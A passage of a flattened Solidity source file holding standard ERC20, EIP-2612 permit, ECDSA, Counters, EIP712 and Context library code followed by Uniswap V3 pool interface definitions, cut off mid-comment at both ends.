* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over `owner`'s tokens,
* given `owner`'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../math/SafeMath.sol";
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) internal {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = _getChainId();
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view virtual returns (bytes32) {
if (_getChainId() == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) {
return keccak256(
abi.encode(
typeHash,
name,
version,
_getChainId(),
address(this)
)
);
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash));
}
function _getChainId() private view returns (uint256 chainId) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that never changes
/// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values
interface IUniswapV3PoolImmutables {
/// @notice The contract that deployed the pool, which must adhere to the IUniswapV3Factory interface
/// @return The contract address
function factory() external view returns (address);
/// @notice The first of the two tokens of the pool, sorted by address
/// @return The token contract address
function token0() external view returns (address);
/// @notice The second of the two tokens of the pool, sorted by address
/// @return The token contract address
function token1() external view returns (address);
/// @notice The pool's fee in hundredths of a bip, i.e. 1e-6
/// @return The fee
function fee() external view returns (uint24);
/// @notice The pool tick spacing
/// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive
/// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ...
/// This value is an int24 to avoid casting even though it is always positive.
/// @return The tick spacing
function tickSpacing() external view returns (int24);
/// @notice The maximum amount of position liquidity that can use any tick in the range
/// @dev This parameter is enforced per tick to prevent liquidity from overflowing a uint128 at any point, and
/// also prevents out-of-range liquidity from being used to prevent adding in-range liquidity to a pool
/// @return The max amount of liquidity per tick
function maxLiquidityPerTick() external view returns (uint128);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that can change
/// @notice These methods compose the pool's state, and can change with any frequency including multiple times
/// per transaction
interface IUniswapV3PoolState {
/// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas
/// when accessed externally.
/// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value
/// tick The current tick of the pool, i.e. according to the last tick transition that was run.
/// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick
/// boundary.
/// observationIndex The index of the last oracle observation that was written,
/// observationCardinality The current maximum number of observations stored in the pool,
/// observationCardinalityNext The next maximum number of observations, to be updated when the observation.
/// feeProtocol The protocol fee for both tokens of the pool.
/// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0
/// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee.
/// unlocked Whether the pool is currently locked to reentrancy
function slot0()
external
view
returns (
uint160 sqrtPriceX96,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
uint16 observationCardinalityNext,
uint8 feeProtocol,
bool unlocked
);
/// @notice The fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal0X128() external view returns (uint256);
/// @notice The fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
/// @dev This value can overflow the uint256
function feeGrowthGlobal1X128() external view returns (uint256);
/// @notice The amounts of token0 and token1 that are owed to the protocol
/// @dev Protocol fees will never exceed uint128 max in either token
function protocolFees() external view returns (uint128 token0, uint128 token1);
/// @notice The currently in range liquidity available to the pool
/// @dev This value has no relationship to the total liquidity across all ticks
function liquidity() external view returns (uint128);
/// @notice Look up information about a specific tick in the pool
/// @param tick The tick to look up
/// @return liquidityGross the total amount of position liquidity that uses the pool either as tick lower or
/// tick upper,
/// liquidityNet how much liquidity changes when the pool price crosses the tick,
/// feeGrowthOutside0X128 the fee growth on the other side of the tick from the current tick in token0,
/// feeGrowthOutside1X128 the fee growth on the other side of the tick from the current tick in token1,
/// tickCumulativeOutside the cumulative tick value on the other side of the tick from the current tick
/// secondsPerLiquidityOutsideX128 the seconds spent per liquidity on the other side of the tick from the current tick,
/// secondsOutside the seconds spent on the other side of the tick from the current tick,
/// initialized Set to true if the tick is initialized, i.e. liquidityGross is greater than 0, otherwise equal to false.
/// Outside values can only be used if the tick is initialized, i.e. if liquidityGross is greater than 0.
/// In addition, these values are only relative and must be used only in comparison to previous snapshots for
/// a specific position.
function ticks(int24 tick)
external
view
returns (
uint128 liquidityGross,
int128 liquidityNet,
uint256 feeGrowthOutside0X128,
uint256 feeGrowthOutside1X128,
int56 tickCumulativeOutside,
uint160 secondsPerLiquidityOutsideX128,
uint32 secondsOutside,
bool initialized
);
/// @notice Returns 256 packed tick initialized boolean values. See TickBitmap for more information
function tickBitmap(int16 wordPosition) external view returns (uint256);
/// @notice Returns the information about a position by the position's key
/// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper
/// @return _liquidity The amount of liquidity in the position,
/// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke,
/// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke,
/// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke,
/// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke
function positions(bytes32 key)
external
view
returns (
uint128 _liquidity,
uint256 feeGrowthInside0LastX128,
uint256 feeGrowthInside1LastX128,
uint128 tokensOwed0,
uint128 tokensOwed1
);
/// @notice Returns data about a specific observation index
/// @param index The element of the observations array to fetch
/// @dev You most likely want to use #observe() instead of this method to get an observation as of some amount of time
/// ago, rather than at a specific index in the array.
/// @return blockTimestamp The timestamp of the observation,
/// Returns tickCumulative the tick multiplied by seconds elapsed for the life of the pool as of the observation timestamp,
/// Returns secondsPerLiquidityCumulativeX128 the seconds per in range liquidity for the life of the pool as of the observation timestamp,
/// Returns initialized whether the observation has been initialized and the values are safe to use
function observations(uint256 index)
external
view
returns (
uint32 blockTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
bool initialized
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Pool state that is not stored
/// @notice Contains view functions to provide information about the pool that is computed rather than stored on the
/// blockchain. The functions here may have variable gas costs.
interface IUniswapV3PoolDerivedState {
/// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp
/// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing
/// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick,
/// you must call it with secondsAgos = [3600, 0].
/// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in
/// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio.
/// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned
/// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp
/// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block
/// timestamp
function observe(uint32[] calldata secondsAgos)
external
view
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s);
/// @notice Returns a snapshot of the tick cumulative, seconds per liquidity and seconds inside a tick range
/// @dev Snapshots must only be compared to other snapshots, taken over a period for which a position existed.
/// I.e., snapshots cannot be compared if a position is not held for the entire period between when the first
/// snapshot is taken and the second snapshot is taken.
/// @param tickLower The lower tick of the range
/// @param tickUpper The upper tick of the range
/// @return tickCumulativeInside The snapshot of the tick accumulator for the range
/// @return secondsPerLiquidityInsideX128 The snapshot of seconds per liquidity for the range
/// @return secondsInside The snapshot of seconds per liquidity for the range
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissionless pool actions
/// @notice Contains pool methods that can be called by anyone
interface IUniswapV3PoolActions {
/// @notice Sets the initial price for the pool
/// @dev Price is represented as a sqrt(amountToken1/amountToken0) Q64.96 value
/// @param sqrtPriceX96 the initial sqrt price of the pool as a Q64.96
function initialize(uint160 sqrtPriceX96) external;
/// @notice Adds liquidity for the given recipient/tickLower/tickUpper position
/// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback
/// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends
/// on tickLower, tickUpper, the amount of liquidity, and the current price.
/// @param recipient The address for which the liquidity will be created
/// @param tickLower The lower tick of the position in which to add liquidity
/// @param tickUpper The upper tick of the position in which to add liquidity
/// @param amount The amount of liquidity to mint
/// @param data Any data that should be passed through to the callback
/// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback
/// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external returns (uint256 amount0, uint256 amount1);
/// @notice Collects tokens owed to a position
/// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity.
/// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or
/// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the
/// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity.
/// @param recipient The address which should receive the fees collected
/// @param tickLower The lower tick of the position for which to collect fees
/// @param tickUpper The upper tick of the position for which to collect fees
/// @param amount0Requested How much token0 should be withdrawn from the fees owed
/// @param amount1Requested How much token1 should be withdrawn from the fees owed
/// @return amount0 The amount of fees collected in token0
/// @return amount1 The amount of fees collected in token1
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
/// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position
/// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0
/// @dev Fees must be collected separately via a call to #collect
/// @param tickLower The lower tick of the position for which to burn liquidity
/// @param tickUpper The upper tick of the position for which to burn liquidity
/// @param amount How much liquidity to burn
/// @return amount0 The amount of token0 sent to the recipient
/// @return amount1 The amount of token1 sent to the recipient
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external returns (uint256 amount0, uint256 amount1);
/// @notice Swap token0 for token1, or token1 for token0
/// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback
/// @param recipient The address to receive the output of the swap
/// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0
/// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative)
/// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this
/// value after the swap. If one for zero, the price cannot be greater than this value after the swap
/// @param data Any data to be passed through to the callback
/// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive
/// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
/// @notice Receive token0 and/or token1 and pay it back, plus a fee, in the callback
/// @dev The caller of this method receives a callback in the form of IUniswapV3FlashCallback#uniswapV3FlashCallback
/// @dev Can be used to donate underlying tokens pro-rata to currently in-range liquidity providers by calling
/// with 0 amount{0,1} and sending the donation amount(s) from the callback
/// @param recipient The address which will receive the token0 and token1 amounts
/// @param amount0 The amount of token0 to send
/// @param amount1 The amount of token1 to send
/// @param data Any data to be passed through to the callback
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external;
/// @notice Increase the maximum number of price and liquidity observations that this pool will store
/// @dev This method is no-op if the pool already has an observationCardinalityNext greater than or equal to
/// the input observationCardinalityNext.
/// @param observationCardinalityNext The desired minimum number of observations for the pool to store
function increaseObservationCardinalityNext(uint16 observationCardinalityNext) external;
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Permissioned pool actions
/// @notice Contains pool methods that may only be called by the factory owner
interface IUniswapV3PoolOwnerActions {
/// @notice Set the denominator of the protocol's % share of the fees
/// @param feeProtocol0 new protocol fee for token0 of the pool
/// @param feeProtocol1 new protocol fee for token1 of the pool
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external;
/// @notice Collect the protocol fee accrued to the pool
/// @param recipient The address to which collected protocol fees should be sent
/// @param amount0Requested The maximum amount of token0 to send, can be 0 to collect fees in only token1
/// @param amount1Requested The maximum amount of token1 to send, can be 0 to collect fees in only token0
/// @return amount0 The protocol fee collected in token0
/// @return amount1 The protocol fee collected in token1
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external returns (uint128 amount0, uint128 amount1);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
/// @title Events emitted by a pool
/// @notice Contains all events emitted by the pool
interface IUniswapV3PoolEvents {
/// @notice Emitted exactly once by a pool when #initialize is first called on the pool
/// @dev Mint/Burn/Swap cannot be emitted by the pool before Initialize
/// @param sqrtPriceX96 The initial sqrt price of the pool, as a Q64.96
/// @param tick The initial tick of the pool, i.e. log base 1.0001 of the starting price of the pool
event Initialize(uint160 sqrtPriceX96, int24 tick);
/// @notice Emitted when liquidity is minted for a given position
/// @param sender The address that minted the liquidity
/// @param owner The owner of the position and recipient of any minted liquidity
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity minted to the position range
/// @param amount0 How much token0 was required for the minted liquidity
/// @param amount1 How much token1 was required for the minted liquidity
event Mint(
address sender,
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted when fees are collected by the owner of a position
/// @dev Collect events may be emitted with zero amount0 and amount1 when the caller chooses not to collect fees
/// @param owner The owner of the position for which fees are collected
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount0 The amount of token0 fees collected
/// @param amount1 The amount of token1 fees collected
event Collect(
address indexed owner,
address recipient,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount0,
uint128 amount1
);
/// @notice Emitted when a position's liquidity is removed
/// @dev Does not withdraw any fees earned by the liquidity position, which must be withdrawn via #collect
/// @param owner The owner of the position for which liquidity is removed
/// @param tickLower The lower tick of the position
/// @param tickUpper The upper tick of the position
/// @param amount The amount of liquidity to remove
/// @param amount0 The amount of token0 withdrawn
/// @param amount1 The amount of token1 withdrawn
event Burn(
address indexed owner,
int24 indexed tickLower,
int24 indexed tickUpper,
uint128 amount,
uint256 amount0,
uint256 amount1
);
/// @notice Emitted by the pool for any swaps between token0 and token1
/// @param sender The address that initiated the swap call, and that received the callback
/// @param recipient The address that received the output of the swap
/// @param amount0 The delta of the token0 balance of the pool
/// @param amount1 The delta of the token1 balance of the pool
